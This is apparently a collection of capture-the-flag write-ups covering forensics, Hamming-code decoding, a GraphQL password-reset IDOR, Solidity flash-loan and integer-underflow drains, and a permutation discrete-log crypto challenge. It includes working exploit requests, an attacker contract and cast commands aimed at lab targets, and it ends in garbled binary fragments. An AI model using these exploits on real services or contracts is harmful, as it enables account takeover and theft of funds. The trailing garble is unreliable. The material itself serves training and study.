+> FBMeavdiaFZbWzpMqIVhJCGXZ5XXZI1qsU3EjhoKQw0rEoQqHyI
+[+] Correct!
+
+What is the Cloud storage provider used by the attacker? (for example: cloud)
+> mega
+[+] Correct!
+
+What is the ID of the process used by the attackers to configure their tool? (for example: 1337)
+> 3820
+[+] Correct!
+
+What is the name of the folder the attacker exfiltrated; provide the full path. (for example: C:\Users\user\folder)
+> C:\Users\Wade\Desktop\Relic_location
+[+] Correct!
+
+What is the name of the folder the attacker exfiltrated the files to? (for example: exfil_folder)
+> exfiltration
+[+] Correct!
+
+[+] Here is the flag: HTB{3v3n_3xtr4t3rr3str14l_B31nGs_us3_Rcl0n3_n0w4d4ys}
+
And here is the flag
+ + + + + + + + + + + + + + + + + +As you venture further into the depths of the tomb, your communication with your team becomes increasingly disrupted by noise.
+Despite their attempts to encode the data packets, the errors persist and prove to be a formidable obstacle.
+Fortunately, you have the exact Verilog module used in both ends of the communication.
+Will you be able to discover a solution to overcome the communication disruptions and proceed with your mission?
+
module encoder(
+ input [3:0] data_in,
+ output [6:0] ham_out
+ );
+
+ wire p0, p1, p2;
+
+ assign p0 = data_in[3] ^ data_in[2] ^ data_in[0];
+ assign p1 = data_in[3] ^ data_in[1] ^ data_in[0];
+ assign p2 = data_in[2] ^ data_in[1] ^ data_in[0];
+
+ assign ham_out = {p0, p1, data_in[3], p2, data_in[2], data_in[1], data_in[0]};
+endmodule
+
+module main;
+ wire[3:0] data_in = 5;
+ wire[6:0] ham_out;
+
+ encoder en(data_in, ham_out);
+
+ initial begin
+ #10;
+ $display("%b", ham_out);
+ end
+endmodule
+
Here we have a verilog code which splits input data into 4 bit arrays
and generate a parity checksum for them with encoder
(p0,p1,p2)\
+So in output data we have 4 bit input data
and parity check p0,p1,p2
which is for error detection\
+According to the challenge description this data is transfer and there are a lot of noice on it.
To solve this lab we should use that parity check bits to ensure if the data was changed or got any noice or not.\ +Overall solution is like below:
+7 bit
piecesFalse
for each block which indicates we determine all blocks to got errored7 bit
block with chech_parity function and if it is true update it in dictionary with the value True
7 bit block
if it has True parity_check until all blocks have True parity check4 bit
raw data from 7 bit
blocks concat to gether and decode it from binary to asciiHere is the overall process in python +
import socket
+
+HOST = '167.172.50.208'
+PORT = 30920
+
+def parse(data):
+ return data[2] + data[4] + data[5] + data[6]
+
+
+def check_parity(data_in):
+
+ enc = [int(i) for i in data_in]
+
+ p0 = enc[2] ^ enc[4] ^ enc[6]
+ p1 = enc[2] ^ enc[5] ^ enc[6]
+ p2 = enc[4] ^ enc[5] ^ enc[6]
+
+ return (p0 == enc[0] and p1 == enc[1] and p2 == enc[3])
+
+
+def check_result(data):
+ for d in data:
+ if not data[d]:
+ return False
+
+ return True
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((HOST, PORT))
+results = []
+result = {}
+for i in range(0, 952, 7):
+ result[i] = ''
+raw = ''
+
+while True:
+ raw_enc = sock.recv(2048).decode().strip()[10:]
+
+ size = len(raw_enc)
+ encs = [raw_enc[i:i+7] for i in range(0, size, 7)]
+
+ index = 0
+ for raw_enc in encs:
+ if check_parity(raw_enc):
+ result[index] = raw_enc
+ index += 7
+
+ if check_result(result):
+ raw = ''.join([result[d] for d in result])
+ break
+
+
+index = 0
+message = ''
+size = len(raw)
+
+for i in range(0, size, 7):
+ message += parse(raw[i:i+7])
+ index += 1
+
+flag = bytes.fromhex(hex(int(message,2))[2:])
+print(flag)
+
If we run the code we get a flag but it is still noised the reason is that this custom parity check is not 100% true for error detection +
python solve.py
+b'HTB{hcm_w?thWs0m3\x1fo.a\x11ys15_y\x10u_c4n_3\xf87ract_\x07hs_h4mmIn9_7_t_3>\xe3_fl49y'
+
So we should repeat executing it an getting errored flags and manually fix noised characters\ +Here are 10 output each one gives us different data +
HTB{hmm_w1th_s0m3_ana1ys15_y0u_c4n_3x7ract_7h3_h4mmin9_7_4_3nc_fl49}
+HTB{hmo_y1äh_s0m;_ana1ys15_yÐu_C4n_3q7rac_7l³_è0mm)n;_7[4_;nc_fl4yt
+HTF{hmm¿w1ta_s0m3ÏanB1's1u_y0u¿ó4n_cx7rdct_7h3_h4mmkk9_7_:_snc_fl49t
+HTB{hým_w1th_s0m3_anôys15_y0u_#4n_3xâact_7h3_h4mmi9_7_4_3nf_fl49s
+HTBhhm_t1th_s0ý3_ana1ws15_ypu_#´n[6x×rct_7h3[hmmgn9_7_4_3nc_fl:7}
+HTBhmm_w1th_s0m3_ala1}#15y0u_c4n_6x7rac$_©H6_l4emin:_§_4_3nc_fl4yý
+HtBr(=m_^1th_s0m3_hna1ys15]y0u_cn_3x7raó}_7f3]h4mnin¹g_4_3^c_fl49}
+HTAyh=m_w1tøaq0m_!na1ys5_y0u_c4n_3x×rac_7h3_h4omin9\_4_3nj_fl49}
+xTB{hmm_w1Dh¿30m3_ana1ép15_y0u_cn_3x7ract_5h=_h:mmin9_74_3þjßfl¤9}
+HB{hãm_'1th_ã0m3_aga1ys15\y0u_6n_3x7racD_×m3_h4cmin9ß7_4_3kc_fl49}
+
We can manually extract correct flag characters based on words meanings\ +And here is the final correct flag +
+ + + + + + + + + + + + + + + + +Pandora discovered the presence of a mole within the ministry.
+To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager.
+Can you hack into the password manager?
+
We ae given the project files including backeng js, dockerfile, database queries and ...
+CREATE DATABASE passman;
+
+CREATE TABLE passman.users (
+ id INT NOT NULL AUTO_INCREMENT,
+ username VARCHAR(256) UNIQUE NOT NULL,
+ password VARCHAR(256) NOT NULL,
+ email VARCHAR(256) UNIQUE NOT NULL,
+ is_admin INT NOT NULL DEFAULT 0,
+ PRIMARY KEY (id)
+);
+
+INSERT INTO passman.users (username, password, email, is_admin)
+VALUES
+ ('admin', '$(genPass)', 'admin@passman.htb', 1),
+ ('louisbarnett', '$(genPass)', 'louis_p_barnett@mailinator.com', 0),
+ ('ninaviola', '$(genPass)', 'ninaviola57331@mailinator.com', 0),
+ ('alvinfisher', '$(genPass)', 'alvinfisher1979@mailinator.com', 0);
+
+
+CREATE TABLE IF NOT EXISTS passman.saved_passwords (
+ id INT NOT NULL AUTO_INCREMENT,
+ owner VARCHAR(256) NOT NULL,
+ type VARCHAR(256) NOT NULL,
+ address VARCHAR(256) NOT NULL,
+ username VARCHAR(256) NOT NULL,
+ password VARCHAR(256) NOT NULL,
+ note VARCHAR(256) NOT NULL,
+ PRIMARY KEY (id)
+);
+
+INSERT INTO passman.saved_passwords (owner, type, address, username, password, note)
+VALUES
+ ('admin', 'Web', 'igms.htb', 'admin', 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'password'),
+ ('louisbarnett', 'Web', 'spotify.com', 'louisbarnett', 'YMgC41@)pT+BV', 'student sub'),
+ ('louisbarnett', 'Email', 'dmail.com', 'louisbarnett@dmail.com', 'L-~I6pOy42MYY#y', 'private mail'),
+ ('ninaviola', 'Web', 'office365.com', 'ninaviola1', 'OfficeSpace##1', 'company email'),
+ ('alvinfisher', 'App', 'Netflix', 'alvinfisher1979', 'efQKL2pJAWDM46L7', 'Family Netflix'),
+ ('alvinfisher', 'Web', 'twitter.com', 'alvinfisher1979', '7wYz9pbbaH3S64LG', 'old twitter account');
+
+GRANT ALL ON passman.* TO 'passman'@'%' IDENTIFIED BY 'passman' WITH GRANT OPTION;
+FLUSH PRIVILEGES;
+
saved_passwords
table which is for admin user
+Here is register request
+POST /graphql HTTP/1.1
+Host: 138.68.162.218:32084
+Content-Length: 237
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+Content-Type: application/json
+Accept: */*
+Origin: http://138.68.162.218:32084
+Referer: http://138.68.162.218:32084/register
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9,fa;q=0.8
+Connection: close
+
+{
+ "query": "mutation($email: String!, $username: String!, $password: String!) { RegisterUser(email: $email, username: $username, password: $password) { message } }",
+ "variables": {
+ "email": "test@test.com",
+ "username": "0x17",
+ "password": "1234"
+ }
+}
+
And here is the backed graphql section for registration which is Graphql Mutation
name: 'Mutation',
+fields: {
+ RegisterUser: {
+ type: ResponseType,
+ args: {
+ email: { type: new GraphQLNonNull(GraphQLString) },
+ username: { type: new GraphQLNonNull(GraphQLString) },
+ password: { type: new GraphQLNonNull(GraphQLString) }
+ },
+ resolve: async (root, args, request) => {
+ return new Promise((resolve, reject) => {
+ db.registerUser(args.email, args.username, args.password)
+ .then(() => resolve(response("User registered successfully!")))
+ .catch(err => reject(new GraphQLError(err)));
+ });
+ }
+ },
+
Here is login request
+POST /graphql HTTP/1.1
+Host: 138.68.162.218:32084
+Content-Length: 185
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+Content-Type: application/json
+Accept: */*
+Origin: http://138.68.162.218:32084
+Referer: http://138.68.162.218:32084/
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9,fa;q=0.8
+Connection: close
+
+{
+ "query": "mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }",
+ "variables": {
+ "username": "0x17",
+ "password": "1234"
+ }
+}
+
And here is the backend graphql code which is also a Graphql Mutation
LoginUser: {
+ type: ResponseType,
+ args: {
+ username: { type: new GraphQLNonNull(GraphQLString) },
+ password: { type: new GraphQLNonNull(GraphQLString) }
+ },
+ resolve: async (root, args, request) => {
+ return new Promise((resolve, reject) => {
+ db.loginUser(args.username, args.password)
+ .then(async (user) => {
+ if (user.length) {
+ let token = await JWTHelper.sign( user[0] );
+ resolve({
+ message: "User logged in successfully!",
+ token: token
+ });
+ };
+ reject(new Error("Username or password is invalid!"));
+ })
+ .catch(err => reject(new GraphQLError(err)));
+ });
+ }
+},
+
After logging in a JWT is assigned to us which indicates our user.\
+Our goal is to get flag which is inside saved_passwords database inside admin notes\
+Each user can see his/her only notes not others according to this code which is a Graphql Query
name: 'Query',
+fields: {
+ getPhraseList: {
+ type: new GraphQLList(PhraseSchema),
+ resolve: async (root, args, request) => {
+ return new Promise((resolve, reject) => {
+ if (!request.user) return reject(new GraphQLError('Authentication required!'));
+
+ db.getPhraseList(request.user.username)
+ .then(rows => resolve(rows))
+ .catch(err => reject(new GraphQLError(err)))
+ });
+ }
+ }
+}
+
So we as a non-admin user can not see admins notes which is flag\
+There are also two other
Graphql Mutations`
AddPhrase : which is for adding note
+AddPhrase: {
+ type: ResponseType,
+ args: {
+ recType: { type: new GraphQLNonNull(GraphQLString) },
+ recAddr: { type: new GraphQLNonNull(GraphQLString) },
+ recUser: { type: new GraphQLNonNull(GraphQLString) },
+ recPass: { type: new GraphQLNonNull(GraphQLString) },
+ recNote: { type: new GraphQLNonNull(GraphQLString) },
+ },
+ resolve: async (root, args, request) => {
+ return new Promise((resolve, reject) => {
+ if (!request.user) return reject(new GraphQLError('Authentication required!'));
+
+ db.addPhrase(request.user.username, args)
+ .then(() => resolve(response("Phrase added successfully!")))
+ .catch(err => reject(new GraphQLError(err)));
+ });
+ }
+ },
+
UpdatePassword: which is for changing password for a user
+UpdatePassword: {
+ type: ResponseType,
+ args: {
+ username: { type: new GraphQLNonNull(GraphQLString) },
+ password: { type: new GraphQLNonNull(GraphQLString) }
+ },
+ resolve: async (root, args, request) => {
+ return new Promise((resolve, reject) => {
+ if (!request.user) return reject(new GraphQLError('Authentication required!'));
+
+ db.updatePassword(args.username, args.password)
+ .then(() => resolve(response("Password updated successfully!")))
+ .catch(err => reject(new GraphQLError(err)));
+ });
+ }
+},
+
The UpdatePassword
Mutation looks interesting and as we can see there is no proper authentication to prevent nonadmin users to change other users' password\
+Let's look at the UpdatePassword Mutation
schema through graphql introspection query
POST /graphql HTTP/1.1
+Host: 138.68.162.218:32084
+Content-Length: 106
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+Content-Type: application/json
+Accept: */*
+Origin: http://138.68.162.218:32084
+Referer: http://138.68.162.218:32084/
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9,fa;q=0.8
+Connection: close
+
+{
+ "query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}"
+}
+
And here is the UpdatePassword
Mutation
{
+ "name": "UpdatePassword",
+ "args": [
+ {
+ "name": "username",
+ "description": null,
+ "type": {
+ "name": null,
+ "kind": "NON_NULL",
+ "ofType": {
+ "name": "String",
+ "kind": "SCALAR"
+ }
+ }
+ },
+ {
+ "name": "password",
+ "description": null,
+ "type": {
+ "name": null,
+ "kind": "NON_NULL",
+ "ofType": {
+ "name": "String",
+ "kind": "SCALAR"
+ }
+ }
+ }
+ ]
+}
+
We can see we need two parameters (username,password) which we can change every user's password without proper authorization.\ +Here is the graphql query for updating admin's password (I built it based on login mutation which is similar to UpdatePassword)
+POST /graphql HTTP/1.1
+Host: 138.68.162.218:32084
+Content-Length: 191
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+Content-Type: application/json
+Accept: */*
+Origin: http://138.68.162.218:32084
+Referer: http://138.68.162.218:32084/
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9,fa;q=0.8
+Connection: close
+Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjB4MTciLCJpc19hZG1pbiI6MCwiaWF0IjoxNjc5Nzk3MDQ0fQ.54ogANqo_0hbJBlo_RtgWQDOoUQ3qeRz7ayBqW4KosU
+
+{
+ "query": "mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }",
+ "variables": {
+ "username": "admin",
+ "password": "1234"
+ }
+}
+
And here is the response:
+{
+ "data": {
+ "UpdatePassword": {
+ "message": "Password updated successfully!",
+ "token": null
+ }
+ }
+}
+
It seems we changed admin's password, Let's check it\ +Yes, we logged in as admin and now we can see admin's notes inside saved_password table which is actually the flag
+POST /graphql HTTP/1.1
+Host: 138.68.162.218:32084
+Content-Length: 84
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
+Content-Type: application/json
+Accept: */*
+Origin: http://138.68.162.218:32084
+Referer: http://138.68.162.218:32084/dashboard
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9,fa;q=0.8
+Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNfYWRtaW4iOjEsImlhdCI6MTY3OTc5ODMyOH0.uZ5Bqop3SSoHX4cgxHZn6kJLKXT3CX3d3wz9WLE4bRw
+Connection: close
+
+{
+ "query": "{ getPhraseList { id, owner, type, address, username, password, note } }"
+}
+
{
+ "data": {
+ "getPhraseList": [
+ {
+ "id": "1",
+ "owner": "admin",
+ "type": "Web",
+ "address": "igms.htb",
+ "username": "admin",
+ "password": "HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}",
+ "note": "password"
+ }
+ ]
+ }
+}
+
And here is the flag: +
+ + + + + + + + + + + + + + + + +function deposit(uint256 amount) external {
+ address _msgsender = msg.sender;
+
+ _updateFees(_msgsender);
+ IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount);
+
+ _mint(_msgsender, amount);
+}
+
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
+ external
+ returns (bool)
+{
+ if (token != underlying) {
+ revert NotSupported(token);
+ }
+
+ IERC20Minimal _token = IERC20Minimal(underlying);
+ uint256 _balanceBefore = _token.balanceOf(address(this));
+
+ if (amount > _balanceBefore) {
+ revert InsufficientBalance();
+ }
+
+ uint256 _fee = _computeFee(amount);
+ _token.transfer(address(receiver), amount);
+
+ if (
+ receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
+ != keccak256("ERC3156FlashBorrower.onFlashLoan")
+ ) {
+ revert CallbackFailed();
+ }
+
+ uint256 _balanceAfter = _token.balanceOf(address(this));
+ if (_balanceAfter < _balanceBefore + _fee) {
+ revert LoanNotRepaid();
+ }
+
+ // Accumulate fees and update feePerShare
+ uint256 interest = _balanceAfter - _balanceBefore;
+ feePerShare += interest.fixedDivFloor(totalSupply, BONE);
+
+ emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
+ return true;
+}
+
This challenge revolves around a smart contract that implements a flash loan feature, which allows borrowing assets with the obligation of returning them within the same transaction. The vulnerability arises from improper handling of the loan repayment mechanism. The contract permits the depositing of flash-loaned assets directly back into the pool without proper validation of the repayment source or completion status. This flaw, combined with a faulty deposit function, results in the minting of tokens to the sender and improperly assigns credit, which the sender can later withdraw, leading to the potential draining of ETH from the contract.
+contract BadBorrower is IERC3156FlashBorrower {
+ address target;
+ uint maxloan;
+ address underlying;
+
+ constructor(address _target) {
+ target = _target;
+ underlying = ILoanPool(_target).underlying();
+ maxloan = ILoanPool(_target).maxFlashLoan(underlying);
+
+ try IToken(underlying).approve(_target, type(uint256).max) {} catch {
+ revert("cant add LoanPool to attacker allowancea");
+ }
+ }
+
+ function onFlashLoan(
+ address initiator,
+ address token,
+ uint256 amount,
+ uint256 fee,
+ bytes calldata data
+ ) public returns (bytes32) {
+ ILoanPool(msg.sender).deposit(amount);
+ IToken(token).transferFrom(tx.origin, msg.sender, fee);
+ return keccak256("ERC3156FlashBorrower.onFlashLoan");
+ }
+
+ function withdraw() public {
+ try ILoanPool(target).withdraw(maxloan) {
+ } catch {
+ revert("cant withdraw!");
+ }
+ }
+}
+
cast send <UNDERLYING_TOKEN_ADDRESS> "approve(address,uint256)" <TARGET_CONTRACT_ADDRESS> 9999999999999999999999 --rpc-url <RPC_URL> --private-key <PRIVATE_KEY>
+
cast send <TARGET_CONTRACT_ADDRESS> "flashLoan(IERC3156FlashBorrower,address,uint256,bytes)" <ATTACKER_CONTRACT_ADDRESS> <UNDERLYING_TOKEN_ADDRESS> 10000000000000000000 0x --rpc-url <RPC_URL> --private-key <PRIVATE_KEY>
+
cast send <ATTACKER_CONTRACT_ADDRESS> "withdraw()" --rpc-url <RPC_URL> --private-key <PRIVATE_KEY>
+
AUTHOR:
+++ + + + + + + + + + + + + + + + +Mohammad2024 / Pr1m3d Team
+
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
+ require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
+ require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
+ require(_newLowerBound <= _newUpperBound);
+ upperBound = _newUpperBound;
+ lowerBound = _newLowerBound;
+}
+
function sendRandomETH() public returns (bool, uint64) {
+ int256 randomInt = int256(blockhash(block.number - 1));
+ uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
+ bool sent = msg.sender.send(amountToSend);
+ return (sent, amountToSend);
+}
+
The "Lucky Faucet" challenge involves a smart contract designed to send a random amount of ETH based on a pseudo-random number derived from the blockhash and the set bounds. The critical flaw lies in the handling of integer underflow when setting the bounds, allowing for unexpected behavior when calculating the amount of ETH to send.
+The solution exploits the type casting vulnerability by setting the upperBound and lowerBound such that the calculation randomInt % (upperBound - lowerBound + 1) + lowerBound results in a negative value. When this negative value is cast to an unsigned integer (uint64), it becomes a very large positive number, thereby exploiting the contract to send a large amount of ETH. This is achieved by calling setBounds with values that lead to a negative outcome for the amount to send, and then invoking sendRandomETH to trigger the flawed logic and cast the negative result to an unexpectedly large positive value.
+Adjust both upperBound and lowerBound to -1, ensuring that the expression randomInt % (upperBound - lowerBound + 1) consistently equals zero. Consequently, the amountToSend will always be equal to lowerBound.
+cast send --rpc-url <RPC_URL> --private-key <PRIVATE_KEY> <TARGET_CONTRACT_ADDRESS> "setBounds(int64,int64)" -- -1 -1
+
cast send --rpc-url <RPC_URL> --private-key <PRIVATE_KEY> <TARGET_CONTRACT_ADDRESS> "sendRandomETH()"
+
AUTHOR:
+++ + + + + + + + + + + + + + + + +Mohammad2024 / Pr1m3d Team
+
Russian Roulette
+function pullTrigger() public returns (string memory) {
+ if (uint256(blockhash(block.number - 1)) % 10 == 7) {
+ selfdestruct(payable(msg.sender)); // 💀
+ } else {
+ return "im SAFU ... for now";
+ }
+}
+
The "RussianRoulette" challenge contains a Solidity function that calculates a modulo 10 of the previous block's hash; if the result is 7, it triggers self-destruction of the contract.
+The solution involves repeatedly calling the pullTrigger() function within the smart contract until the condition where the previous block's hash modulo 10 equals 7 is met, leading to the contract's self-destruction.
+send this transaction until the contract's self-destruction:
+cast send <TARGET_CONTRACT_ADDRESS> "pullTrigger()" --private-key <PRIVATE_KEY> --rpc-url <RPC_URL>
+
AUTHOR:
+++ + + + + + + + + + + + + + + + +Mohammad2024 / Pr1m3d Team
+
from Crypto.Cipher import AES
+from Crypto.Util.Padding import pad
+from Crypto.Util.number import long_to_bytes
+
+from hashlib import sha256
+from random import shuffle
+
+from secret import a, b, FLAG
+
+class Permutation:
+ def __init__(self, mapping):
+ self.length = len(mapping)
+
+ assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions
+ self.mapping = list(mapping)
+
+ def __call__(self, *args, **kwargs):
+ idx, *_ = args
+ assert idx in range(self.length)
+ return self.mapping[idx]
+
+ def __mul__(self, other):
+ ans = []
+
+ for i in range(self.length):
+ ans.append(self(other(i)))
+
+ return Permutation(ans)
+
+ def __pow__(self, power, modulo=None):
+ ans = Permutation.identity(self.length)
+ ctr = self
+
+ while power > 0:
+ if power % 2 == 1:
+ ans *= ctr
+ ctr *= ctr
+ power //= 2
+
+ return ans
+
+ def __str__(self):
+ return str(self.mapping)
+
+ def identity(length):
+ return Permutation(range(length))
+
+
+x = list(range(50_000))
+shuffle(x)
+
+g = Permutation(x)
+print('g =', g)
+
+A = g**a
+print('A =', A)
+B = g**b
+print('B =', B)
+
+C = A**b
+assert C.mapping == (B**a).mapping
+
+sec = tuple(C.mapping)
+sec = hash(sec)
+sec = long_to_bytes(sec)
+
+hash = sha256()
+hash.update(sec)
+
+key = hash.digest()[16:32]
+iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"
+
+cipher = AES.new(key, AES.MODE_CBC, iv)
+
+encrypted = cipher.encrypt(pad(FLAG, 16))
+print('c =', encrypted)
+
this challenge is about groups, we have a group which its elements are different permutation of numbers from 0
to n-1
. our groups is defined by a Class named Permutation
.
In case of a groups we should have couple of elements
+Identity Element which is defined by a function named identity
like this
+
(0,1,2,...,n-1)
, so this would be our identity element
+Operations
+Multiplication
+this operation is defined by this function
+def __mul__(self, other):
+ ans = []
+
+ for i in range(self.length):
+ ans.append(self(other(i)))
+
+ return Permutation(ans)
+
Imagine we have two elements like this
+\(g_2 = {2,3,0,1,4}\) +
we want to multiply these two elements, multiplication operation is defined like this
+so the multiplication of \(g_1 \times g_2\) will be
+Exponentiation
+this operation is defined by this function
+def __pow__(self, power, modulo=None):
+ ans = Permutation.identity(self.length)
+ ctr = self
+
+ while power > 0:
+ if power % 2 == 1:
+ ans *= ctr
+ ctr *= ctr
+ power //= 2
+
+ return ans
+
exponentiation by power n
is defined by multiplying an element g
for n
times with itself
there is an optimal algorithm for exponentiation which is done in \(O(logn)\) instead of \(O(n)\), in cases of large n
this algorithm is better and feasable
input : g, n
+output : g^n
+
+ctr = g
+while power > 0:
+ if power % 2 == 1:
+ ans *= ctr
+ ctr *= ctr
+ power //= 2
+return ctr
+
This was the Permutation group class. now let's see what is the exact problem
+x = list(range(50_000))
+shuffle(x)
+
+g = Permutation(x)
+print('g =', g)
+
+A = g**a
+print('A =', A)
+B = g**b
+print('B =', B)
+
+C = A**b
+assert C.mapping == (B**a).mapping
+
+sec = tuple(C.mapping)
+sec = hash(sec)
+sec = long_to_bytes(sec)
+
+hash = sha256()
+hash.update(sec)
+
+key = hash.digest()[16:32]
+iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"
+
+cipher = AES.new(key, AES.MODE_CBC, iv)
+
+encrypted = cipher.encrypt(pad(FLAG, 16))
+print('c =', encrypted)
+
So we have a DLP (Discrete Logarithm Problem) here. we have a generator g
and two secrets a,b
and the power a,b
of the g
which are A,B
.
+If we can find one of a,b
values we can calculate C
and the secret key and decrypt the flag.
let's first see what is the order of our generator g
. order of a generator in a group is lowest possible value \(x\) such that g to the power of \(x\) is equal to identity element
as we see the order of random generator is dependant on the elements of that generator. and computing order of a random g
with this size (50000 elements!) is not feasable and requires a lot of trial/error and calculation. so what should we do now? brute force the a,b
and iterate though all possible values to see when we can reach A
or B
. that's not a good idea because in case of a DLP problem a,b
are secret and high enough to prevent brute forcing and that's the trapdoor function of a DLP. becaue calculating the exponent is easy enough because of the algorithm we discussed in previous section but the reverse operation is not practical in feasable time.
When discussing with one of my good crypto player friends(I name him Ehsan Crypto :D) he mentioned we can calculate each elements period independantly to see after how many iteration each element resides its correct location. for example value 0 may be seen in first element section after \(x_1\) loops (\(g^{x_1}\)). value 1 may be in its correct position after \(x_2\) loops (\(g^{x_2}\)) and so on. so we can calculate each element's order seperately and see what's happening. let's see another example with 50 elements
+ +the order of the g
is 390. but the order of each element is either 39 or 10 and we know that \(390 = 10 \times 39\). so the order of the whole g
is LCM (Least Common Multiple) of each elements period. now we can find the order of whole g
.
Now let's write a code to find order of generator g
n = 50000
+
+g = Permutation(g)
+A = Permutation(A)
+B = Permutation(B)
+
+e = Permutation(list(range(50000)))
+periods = {i:0 for i in range(len(g.mapping))}
+
+i = 2
+while not all(periods.values()):
+ mul = g**i
+ for j in range(len(g.mapping)):
+ if (mul).mapping[j] == e.mapping[j] and periods[j] == 0:
+ periods[j] = i
+ i += 1
+
+order = lcm(*list(periods.values()))
+print(order)
+
and here is order of g: +
+tbh there is no need to calculate the order of g
lol, but anyway. before we explain our solution, let's define these terms
\(X_i\) is period or order of element \(g[i]\) if:
+\(Y_i\) is distance of element \(g[i]\) from \(A[i]\) if:
+now we have the order and we should see how much distance each element of g
has from its coresponding element in A
. The reason that we wanna mesaure this distance is to find secret value a
or b
, but how these are related? we need to find just one of them so I pick a
. we know that a
and b
are a large value(they should be) and each element of g
's period (the periods array we calculated in previous python code) are less than a
or b
. we have n
equations like this
now we have 50000 modular equations. we can use CRT (chinese Remainder Theorem) to find \(a\).
+First we calculated all moduli and residue with this python code
+n = 50000
+
+gg = Permutation(g)
+AA = Permutation(A)
+BB = Permutation(B)
+
+e = Permutation(list(range(n)))
+periods = {i:0 for i in range(len(gg.mapping))}
+residues = {i:0 for i in range(len(gg.mapping))}
+
+
+i = 2
+while not all(periods.values()):
+ mul = gg**i
+ for j in range(len(gg.mapping)):
+ if mul.mapping[j] == e.mapping[j] and periods[j] == 0:
+ periods[j] = i
+ if mul.mapping[j] == AA.mapping[j] and residues[j] == 0:
+ residues[j] = i
+ i += 1
+
then we use sage crt
function to find the secret value a
.
now we have the secret value a
, we can first verify if a
is correct then easily calulate C
and secret
and findally decrpt the flag:
a = 839949590738986464
+C = B ** a
+sec = tuple(C.mapping)
+sec = hash(sec)
+print(f"{sec=}")
+
+sec = long_to_bytes(sec)
+
+hash = sha256()
+hash.update(sec)
+key = hash.digest()[16:32]
+
+print(f"key = {key.hex()}")
+
here is the AES key
+ + +finally I used cyberchef to decrypt the flag
+ +here is the final code (without g,A,B matrix because of large amount of data)
+from hashlib import sha256
+from math import lcm
+from sage.all import *
+from Crypto.Util.number import *
+
+class Permutation:
+ def __init__(self, mapping):
+ self.length = len(mapping)
+
+ assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions
+ self.mapping = list(mapping)
+
+ def __call__(self, *args, **kwargs):
+ idx, *_ = args
+ assert idx in range(self.length)
+ return self.mapping[idx]
+
+ def __mul__(self, other):
+ ans = []
+
+ for i in range(self.length):
+ ans.append(self(other(i)))
+
+ return Permutation(ans)
+
+ def __pow__(self, power, modulo=None):
+ ans = Permutation.identity(self.length)
+ ctr = self
+
+ while power > 0:
+ if power % 2 == 1:
+ ans *= ctr
+ ctr *= ctr
+ power //= 2
+
+ return ans
+
+ def __str__(self):
+ return str(self.mapping)
+
+ def identity(length):
+ return Permutation(range(length))
+
+
+n = 50000
+
+gg = Permutation(g)
+AA = Permutation(A)
+BB = Permutation(B)
+
+e = Permutation(list(range(n)))
+periods = {i:0 for i in range(len(gg.mapping))}
+residues = {i:0 for i in range(len(gg.mapping))}
+
+
+i = 2
+while not all(periods.values()):
+ mul = gg**i
+ for j in range(len(gg.mapping)):
+ if mul.mapping[j] == e.mapping[j] and periods[j] == 0:
+ periods[j] = i
+ if mul.mapping[j] == AA.mapping[j] and residues[j] == 0:
+ residues[j] = i
+ i += 1
+
+# order of g is not necessary
+order = lcm(list(periods.values()))
+print(f"order of g : {order}")
+
+a = crt(list(residues.values()), list(periods.values()))
+print(f"secret value a : {a}")
+
+assert (gg**a).mapping==AA.mapping
+
+C = BB ** a
+sec = tuple(C.mapping)
+sec = hash(sec)
+print(f"sec : {sec}")
+
+sec = long_to_bytes(sec)
+
+key = sha256(sec).digest()[16:32]
+print(f"aes key : {key.hex()}")
+
Here is the flag +
+AUTHOR:
+++pi3 / Pr1m3d Team
+
Great thanks to our friend Ehsan for helping us to solve this challenge <3
+ + + + + + + + + + + + + + + + +5fkWMc0K5qimV%?)^PK%YN!v
zkk?FG){XLH3;Ve(WNh*ag4Oo-M_<|&i#?<-S3JY6)AotRvN_)_S-U!B6G2IG3U(|P
zx>Z)>?SRHApQ!`sV>} 2~Mk1C|5C0_3pgKD|R3;vD
